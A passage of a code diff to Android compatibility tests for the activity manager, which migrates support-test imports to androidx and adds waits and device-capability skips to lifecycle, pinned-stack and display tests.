@@ -404,14 +406,14 @@
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
         LogSeparator logSeparator = separateLogs();
-        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mAmWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
 
         assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
                 1 /* start */, 1 /* resume */, 0 /* pause */, 0 /* stop */, 0 /* destroy */,
                 0 /* config */);
 
-        launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY);
+        launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mAmWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
 
         assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
@@ -421,7 +423,7 @@
                 1 /* start */, 1 /* resume */, 0 /* pause */, 0 /* stop */, 0 /* destroy */,
                 0 /* config */);
 
-        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mAmWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
 
         assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 2 /* create */,
@@ -495,6 +497,10 @@
 
     @Test
     public void testNonFullscreenActivityPermitted() throws Exception {
+        if(!supportsRotation()) {
+            //cannot physically rotate the screen on automotive device, skip
+            return;
+        }
         try (final RotationSession rotationSession = new RotationSession()) {
             rotationSession.set(ROTATION_0);
 
@@ -526,6 +532,7 @@
         // Request portrait
         executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
         mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+        waitForBroadcastActivityReady(SCREEN_ORIENTATION_PORTRAIT);
 
         // Finish activity
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
@@ -553,6 +560,7 @@
         launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
         executeShellCommand(REQUEST_LANDSCAPE_BROADCAST);
         mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+        waitForBroadcastActivityReady(SCREEN_ORIENTATION_LANDSCAPE);
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
         // Verify that activity brought to front is in originally requested orientation.
@@ -570,6 +578,7 @@
         launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
         executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
         mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+        waitForBroadcastActivityReady(SCREEN_ORIENTATION_PORTRAIT);
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
         // Verify that activity brought to front is in originally requested orientation.
@@ -694,6 +703,7 @@
         // Request portrait
         executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
         mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+        waitForBroadcastActivityReady(SCREEN_ORIENTATION_PORTRAIT);
 
         // Finish activity
         executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
@@ -883,6 +893,11 @@
         return display.getDisplayRect();
     }
 
+    private void waitForBroadcastActivityReady(int orientation) {
+        mAmWmState.waitForActivityOrientation(BROADCAST_RECEIVER_ACTIVITY, orientation);
+        mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+    }
+
     /**
      * Test launching an activity which requests specific UI mode during creation.
      */
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index 7873dbe..77a33dc 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -55,7 +55,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Ignore;
 import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
index f041ebd..d3287ec 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -40,7 +40,8 @@
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
index 7f431c8..9678e17 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
@@ -16,6 +16,9 @@
 
 package android.server.am;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
 import android.app.ActivityManager;
 import android.app.KeyguardManager;
 import android.content.Context;
@@ -34,13 +37,17 @@
 import android.os.Build;
 import android.os.LocaleList;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
 import android.text.TextUtils;
 import android.util.DisplayMetrics;
 import android.view.Display;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
 
+import org.junit.Before;
+import org.junit.Test;
+
 import java.io.ByteArrayOutputStream;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -58,12 +65,6 @@
 import javax.microedition.khronos.egl.EGLDisplay;
 import javax.microedition.khronos.egl.EGLSurface;
 
-import org.junit.Before;
-import org.junit.Test;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
 public class ActivityManagerGetConfigTests {
     Context mContext;
     ActivityManager mAm;
@@ -334,8 +335,13 @@
                 slibNames, deviceConfig.sharedLibraries);
 
         FeatureInfo[] features = mPm.getSystemAvailableFeatures();
-        Arrays.sort(features, (o1, o2) ->
-                (o1.name == o2.name ? 0 : (o1.name == null ? -1 : o1.name.compareTo(o2.name))));
+        Arrays.sort(features, (o1, o2) -> {
+            if (o1.name == o2.name) return 0;
+            if (o1.name == null) return -1;
+            if (o2.name == null) return 1;
+            return o1.name.compareTo(o2.name);
+        });
+
         int size = 0;
         for (int i = 0; i < features.length; i++) {
             if (features[i].name != null) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
index 6b5c7c1..b491a9f 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -49,8 +49,8 @@
     // Test parameters
     private static final int DEFAULT_WIDTH_DP = 240;
     private static final int DEFAULT_HEIGHT_DP = 160;
-    private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
-    private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
+    private static final float DEFAULT_WIDTH_FRACTION = 0.50f;
+    private static final float DEFAULT_HEIGHT_FRACTION = 0.70f;
     private static final int MIN_WIDTH_DP = 100;
     private static final int MIN_HEIGHT_DP = 80;
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 90658e5..c342a5a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -30,7 +30,6 @@
 import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
 import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.am.Components.BroadcastReceiverActivity.ACTION_TRIGGER_BROADCAST;
-import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_FINISH_BROADCAST;
 import static android.server.am.Components.LAUNCHING_ACTIVITY;
 import static android.server.am.Components.LAUNCH_BROADCAST_ACTION;
 import static android.server.am.Components.LAUNCH_BROADCAST_RECEIVER;
@@ -62,15 +61,15 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.am.ActivityManagerState.ActivityDisplay;
-import android.support.test.filters.FlakyTest;
 
 import androidx.annotation.Nullable;
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.concurrent.TimeUnit;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index a873c09..062e103 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -65,6 +65,7 @@
 import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
 import static android.server.am.UiDeviceUtils.pressWindowButton;
 import static android.view.Display.DEFAULT_DISPLAY;
+
 import static org.hamcrest.Matchers.lessThan;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
@@ -86,17 +87,20 @@
 import android.server.am.ActivityManagerState.ActivityTask;
 import android.server.am.WindowManagerState.WindowStack;
 import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import org.junit.Ignore;
-import org.junit.Test;
 
 /**
  * Build/Install/Run:
@@ -207,7 +211,12 @@
 
         try (final RotationSession rotationSession = new RotationSession()) {
             rotationSession.set(ROTATION_0);
-
+            mAmWmState.waitForWithWmState((wmState1) -> {
+                Rect db = wmState1.getDefaultPinnedStackBounds();
+                Rect sb = wmState1.getStableBounds();
+                return (db.width() > 0 && db.height() > 0) &&
+                        (sb.contains(db));
+            }, "Waiting for valid bounds..");
             WindowManagerState wmState = mAmWmState.getWmState();
             wmState.computeState();
             Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
@@ -216,6 +225,12 @@
             assertTrue(stableBounds.contains(defaultPipBounds));
 
             rotationSession.set(ROTATION_90);
+            mAmWmState.waitForWithWmState((wmState1) -> {
+                Rect db = wmState1.getDefaultPinnedStackBounds();
+                Rect sb = wmState1.getStableBounds();
+                return (db.width() > 0 && db.height() > 0) &&
+                        (sb.contains(db));
+            }, "Waiting for valid bounds...");
             wmState = mAmWmState.getWmState();
             wmState.computeState();
             defaultPipBounds = wmState.getDefaultPinnedStackBounds();
@@ -236,6 +251,12 @@
 
         try (final RotationSession rotationSession = new RotationSession()) {
             rotationSession.set(ROTATION_0);
+            mAmWmState.waitForWithWmState((wmState1) -> {
+                Rect db = wmState1.getPinnedStackMovementBounds();
+                Rect sb = wmState1.getStableBounds();
+                return (db.width() > 0 && db.height() > 0) &&
+                        (sb.contains(db));
+            }, "Waiting for valid bounds...");
             WindowManagerState wmState = mAmWmState.getWmState();
             wmState.computeState();
             Rect pipMovementBounds = wmState.getPinnedStackMovementBounds();
@@ -244,6 +265,12 @@
             assertTrue(stableBounds.contains(pipMovementBounds));
 
             rotationSession.set(ROTATION_90);
+            mAmWmState.waitForWithWmState((wmState1) -> {
+                Rect db = wmState1.getPinnedStackMovementBounds();
+                Rect sb = wmState1.getStableBounds();
+                return (db.width() > 0 && db.height() > 0) &&
+                        (sb.contains(db));
+            }, "Waiting for valid bounds...");
             wmState = mAmWmState.getWmState();
             wmState.computeState();
             pipMovementBounds = wmState.getPinnedStackMovementBounds();
@@ -565,7 +592,7 @@
 
         // Launch first PIP activity
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        waitForEnterPip(PIP_ACTIVITY);
+        waitForEnterPipAnimationComplete(PIP_ACTIVITY);
 
         // Launch second PIP activity
         launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
@@ -610,17 +637,14 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_REENTER_PIP_ON_EXIT, "true");
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
         // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
         launchActivity(PIP_ACTIVITY);
-        mAmWmState.waitForWithAmState(amState ->
-                amState.getFrontStackWindowingMode(DEFAULT_DISPLAY) == WINDOWING_MODE_FULLSCREEN,
-                "Waiting for PIP to exit to fullscreen");
+        waitForExitPipToFullscreen(PIP_ACTIVITY);
+        executeShellCommand("am broadcast -a " + ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index ae483d8..c2f2089 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -26,7 +26,6 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
 import static android.server.am.Components.DOCKED_ACTIVITY;
 import static android.server.am.Components.LAUNCHING_ACTIVITY;
 import static android.server.am.Components.NON_RESIZEABLE_ACTIVITY;
@@ -55,7 +54,8 @@
 import android.content.ComponentName;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
index 4828c34..526eeec 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -38,7 +38,8 @@
 import android.content.ComponentName;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Assume;
 import org.junit.Before;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
index 0cb300a..038ad28 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -24,13 +24,14 @@
 import android.app.Activity;
 import android.content.Context;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Rule;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
index 0d1086c..b32c2cb 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -19,11 +19,12 @@
 import android.app.Activity;
 import android.content.Context;
 import android.graphics.Point;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
 import android.view.Display;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
 class AspectRatioTestsBase {
     // The delta allowed when comparing two floats for equality. We consider them equal if they are
     // within two significant digits of each other.
diff --git a/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java b/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
index a86e3f8..0c4cf4b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
@@ -19,7 +19,7 @@
 import static android.server.am.UiDeviceUtils.pressBackButton;
 import static android.server.am.deprecatedsdk.Components.MAIN_ACTIVITY;
 
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
index 98e3ba7..83ceabd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
@@ -93,10 +93,12 @@
                 EXTRA_LAUNCH_ANOTHER_ACTIVITY, getActivityName(TEST_ACTIVITY));
         executeShellCommand(startActivityOnTop);
         mAmWmState.assertActivityDisplayed(TEST_ACTIVITY);
+        final LogSeparator logSeparator = separateLogs();
 
         try (final ScreenDensitySession screenDensitySession = new ScreenDensitySession()) {
             screenDensitySession.setUnsupportedDensity();
 
+            assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
             pressBackButton();
 
             mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
old mode 100644
new mode 100755
index a53993b..bf3d1ea
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -327,6 +327,7 @@
             pressBackButton();
             mAmWmState.waitForKeyguardShowingAndNotOccluded();
             mAmWmState.waitForDisplayUnfrozen();
+            mAmWmState.waitForAppTransitionIdle();
             mAmWmState.assertSanity();
             mAmWmState.assertHomeActivityVisible(false);
             mAmWmState.assertKeyguardShowingAndNotOccluded();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
index 3efe3bb..59d7e95 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
@@ -43,7 +43,7 @@
         // Use ratios to flexibly accomodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
         assertColors(image, mAmWmState.getWmState().getStableBounds(),
-            Color.RED, 0.50f, Color.BLACK, 0.01f);
+            Color.RED, 0.50f, Color.BLACK, 0.02f);
     }
 
     private void assertColors(Bitmap img, Rect bounds, int primaryColor,
diff --git a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
index bcab43f..022bdba 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
@@ -22,11 +22,10 @@
 import static org.junit.Assert.assertFalse;
 
 import android.app.Activity;
-import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
index 11035ce..5a5e650 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
@@ -19,8 +19,9 @@
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
 import static android.server.am.StateLogger.logAlways;
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.fail;
 
@@ -29,6 +30,8 @@
 import android.hardware.display.VirtualDisplay;
 import android.media.ImageReader;
 import android.os.SystemClock;
+import android.view.Display;
+
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.SystemUtil;
@@ -50,6 +53,8 @@
 
     private static final Pattern DISPLAY_DEVICE_PATTERN = Pattern.compile(
             ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+    private static final Pattern DEFAULT_DISPLAY_PATTERN = Pattern.compile(
+            "(mDisplayId=" + Display.DEFAULT_DISPLAY + ")([\\s\\S]*?)(mPrimaryDisplayDevice=)(.*)");
     private static final int DENSITY = 160;
     private static final int HEIGHT = 480;
     private static final int WIDTH = 800;
@@ -122,9 +127,20 @@
     @Nullable
     private static Boolean getDisplayState(boolean defaultDisplay) {
         final String dump = executeShellCommand("dumpsys display");
-        final Predicate<Matcher> displayNameMatcher = defaultDisplay
-                ? m -> m.group(0).contains("FLAG_DEFAULT_DISPLAY")
-                : m -> m.group(1).equals(VIRTUAL_DISPLAY_NAME);
+        String defaultDisplayName = null;
+        // Finds the corresponding physical display among current multiple default logical displays
+        // and read the proper display state.
+        if (defaultDisplay) {
+            final Matcher matcher = DEFAULT_DISPLAY_PATTERN.matcher(dump);
+            if (matcher.find()) {
+                defaultDisplayName = matcher.group(4);
+            }
+            if (defaultDisplayName == null) {
+                return null;
+            }
+        }
+        final String displayName = defaultDisplay ? defaultDisplayName : VIRTUAL_DISPLAY_NAME;
+        final Predicate<Matcher> displayNameMatcher = m -> m.group(1).equals(displayName);
         for (final String line : dump.split("\\n")) {
             final Matcher matcher = DISPLAY_DEVICE_PATTERN.matcher(line);
             if (matcher.matches() && displayNameMatcher.test(matcher)) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
index f76979c..59c0d2a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -19,10 +19,10 @@
 import android.os.Handler;
 import android.server.am.ActivityManagerTestBase;
 import android.server.am.lifecycle.LifecycleLog.ActivityCallback;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.lifecycle.ActivityLifecycleMonitor;
-import android.support.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.lifecycle.ActivityLifecycleMonitor;
+import androidx.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
 import android.util.Pair;
 
 import org.junit.After;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
index 12bfc64..5b6abe9e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -5,8 +5,9 @@
 import android.app.Activity;
 import android.content.Intent;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -22,6 +23,9 @@
 
     @Test
     public void testSingleLaunch() throws Exception {
+        if (!supportsSecureLock()) {
+            return;
+        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index 9903653..0e92146 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -32,10 +32,10 @@
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AmUtils;
 
@@ -150,12 +150,14 @@
                 occludedActivityState(translucentActivity, topOpaqueActivity),
                 state(topOpaqueActivity, ON_RESUME));
 
-        getLifecycleLog().clear();
         try (final RotationSession rotationSession = new RotationSession()) {
             if (!supportsLockedUserRotation(
                     rotationSession, translucentActivity.getDisplay().getDisplayId())) {
                 return;
             }
+
+            getLifecycleLog().clear();
+
             final int current = rotationSession.get();
             // Set new rotation to cause a configuration change.
             switch (current) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
index da8296c..387a12a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
@@ -1,19 +1,21 @@
 package android.server.am.lifecycle;
 
 import static android.server.am.StateLogger.log;
-import static android.support.test.runner.lifecycle.Stage.CREATED;
-import static android.support.test.runner.lifecycle.Stage.DESTROYED;
-import static android.support.test.runner.lifecycle.Stage.PAUSED;
-import static android.support.test.runner.lifecycle.Stage.PRE_ON_CREATE;
-import static android.support.test.runner.lifecycle.Stage.RESUMED;
-import static android.support.test.runner.lifecycle.Stage.STARTED;
-import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import static androidx.test.runner.lifecycle.Stage.CREATED;
+import static androidx.test.runner.lifecycle.Stage.DESTROYED;
+import static androidx.test.runner.lifecycle.Stage.PAUSED;
+import static androidx.test.runner.lifecycle.Stage.PRE_ON_CREATE;
+import static androidx.test.runner.lifecycle.Stage.RESUMED;
+import static androidx.test.runner.lifecycle.Stage.STARTED;
+import static androidx.test.runner.lifecycle.Stage.STOPPED;
 
 import android.app.Activity;
-import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
-import android.support.test.runner.lifecycle.Stage;
 import android.util.Pair;
 
+import androidx.test.runner.lifecycle.ActivityLifecycleCallback;
+import androidx.test.runner.lifecycle.Stage;
+
 import java.util.ArrayList;
 import java.util.List;
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
index 24b384b..a9a7271 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
@@ -4,10 +4,11 @@
 
 import android.app.Activity;
 import android.server.am.lifecycle.LifecycleLog.ActivityCallback;
-import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
-import android.support.test.runner.lifecycle.Stage;
 import android.util.Pair;
 
+import androidx.test.runner.lifecycle.ActivityLifecycleCallback;
+import androidx.test.runner.lifecycle.Stage;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.function.BooleanSupplier;
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
index e55d5f0..c01c2a9 100644
